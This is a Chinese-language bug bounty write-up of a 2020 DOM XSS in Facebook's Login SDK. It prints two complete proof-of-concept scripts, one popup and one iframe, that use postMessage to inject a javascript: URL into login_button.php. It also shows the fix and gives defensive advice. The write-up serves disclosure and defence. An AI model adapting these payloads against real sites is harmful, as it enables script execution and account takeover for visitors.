Bug Bounty:$20000 Facebook DOM XSS
字数 1263 2025-08-25 22:58:55
Facebook DOM XSS漏洞分析:通过postMessage的利用与防御
1. 漏洞背景
1.1 postMessage简介
window.postMessage()是HTML5引入的一种安全跨域通信机制,允许不同窗口/iframe之间进行数据传递,即使它们来自不同的源。基本语法为:
otherWindow.postMessage(message, targetOrigin, [transfer]);
1.2 漏洞发现背景
- 研究者将重点从服务器端漏洞转向客户端漏洞
- 最初研究XSSI(跨站脚本包含)和JSONP漏洞,但因SameSite cookie的引入而变得罕见
- 转向研究postMessage漏洞,发现其常被安全人员忽略且易于调试
2. 漏洞发现过程
2.1 Facebook登录SDK分析
Facebook Login SDK for JavaScript使用iframe进行跨域通信:
- 创建一个代理iframe:
https://www.facebook.com/v6.0/plugins/login_button.php - JavaScript SDK向iframe发送初始化有效负载,包含按钮的点击URL
- 用户点击按钮时,iframe使用
window.open()打开指定的URL
2.2 关键漏洞点
SDK将URL参数发送到iframe,当按钮点击时执行:
i.url = i.url.replace(/cbt=\d+/, "cbt=" + a);
a = window.open(i.url, i.id, b("buildPopupFeatureString")(i));
问题:没有对URL进行验证,导致可以注入javascript:伪协议
3. 漏洞利用方法
3.1 弹出窗口方法
<script>
var opener = window.open("https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&...", "opener", "...");
setTimeout(function(){
var message = {
"xdArbiterHandleMessage":true,
"message":{
"method":"loginButtonStateInit",
"params":JSON.stringify({
'call':{
'id':'123',
'url':'javascript:alert(document.domain);',
'size':{'width':10,'height':10},
'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}
}
})
},
"origin":"ORIGIN"
};
opener.postMessage(message,'*');
},4000);
</script>
3.2 iframe方法
<script>
function fbFrameLoaded() {
var iframeEl = document.getElementById('fbframe');
var message = {
"xdArbiterHandleMessage":true,
"message":{
"method":"loginButtonStateInit",
"params":JSON.stringify({
'call':{
'id':'123',
'url':'javascript:alert(document.domain);',
'size':{'width':10,'height':10},
'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}
}
})
},
"origin":"ORIGIN"
};
iframeEl.contentWindow.postMessage(message,'*');
}
</script>
<iframe id="fbframe" src="https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&..." onload="fbFrameLoaded(this)"></iframe>
4. 漏洞修复方案
Facebook添加了URL验证:
d = b("isFacebookURI")(new (g || (g = b("URI")))(c.call.url)),
j = c.call;
d || (j.url = b("XOAuthErrorController").getURIBuilder()
.setEnum("error_code", "PLATFORM__INVALID_URL")
.getURI().toString())
修复关键点:
- 检查URL是否为合法的Facebook URI
- 如果不是,则替换为错误页面URL
5. 漏洞影响
- 攻击场景:用户访问攻击者控制的网站
- 触发条件:用户点击Facebook按钮
- 后果:在facebook.com域上执行任意JavaScript,可能导致账户接管
6. 时间线
- 2020年4月17日:初次报告
- 2020年4月17日:报告确认
- 2020年4月29日:确认修复
- 2020年5月1日:奖励$20,000赏金
7. 防御建议
7.1 接收postMessage时的安全措施
-
验证origin:严格检查消息来源
window.addEventListener('message', function(event) { if (event.origin !== "https://expected.domain.com") return; // 处理消息 }); -
验证消息内容:特别是包含URL或可执行代码的部分
7.2 发送postMessage时的安全措施
-
指定精确的targetOrigin:避免使用
*otherWindow.postMessage(message, "https://target.domain.com"); -
最小化暴露的API:只暴露必要功能
7.3 其他防御措施
- 内容安全策略(CSP):限制脚本执行
- X-Frame-Options:防止点击劫持
- 输入验证:特别是对URL和动态执行的内容
8. 研究工具
研究者创建了Chrome扩展程序来监控跨窗口通信,这对发现类似漏洞很有帮助。
9. 总结
这个案例展示了:
- postMessage实现不当可能导致严重安全漏洞
- 即使是Facebook这样的顶级公司也可能忽略客户端安全
- 客户端漏洞研究仍有很大价值
- 简单的漏洞可能带来高额赏金
通过深入研究常见API的使用方式,安全研究人员可以发现被忽视的攻击面,获得丰厚的回报。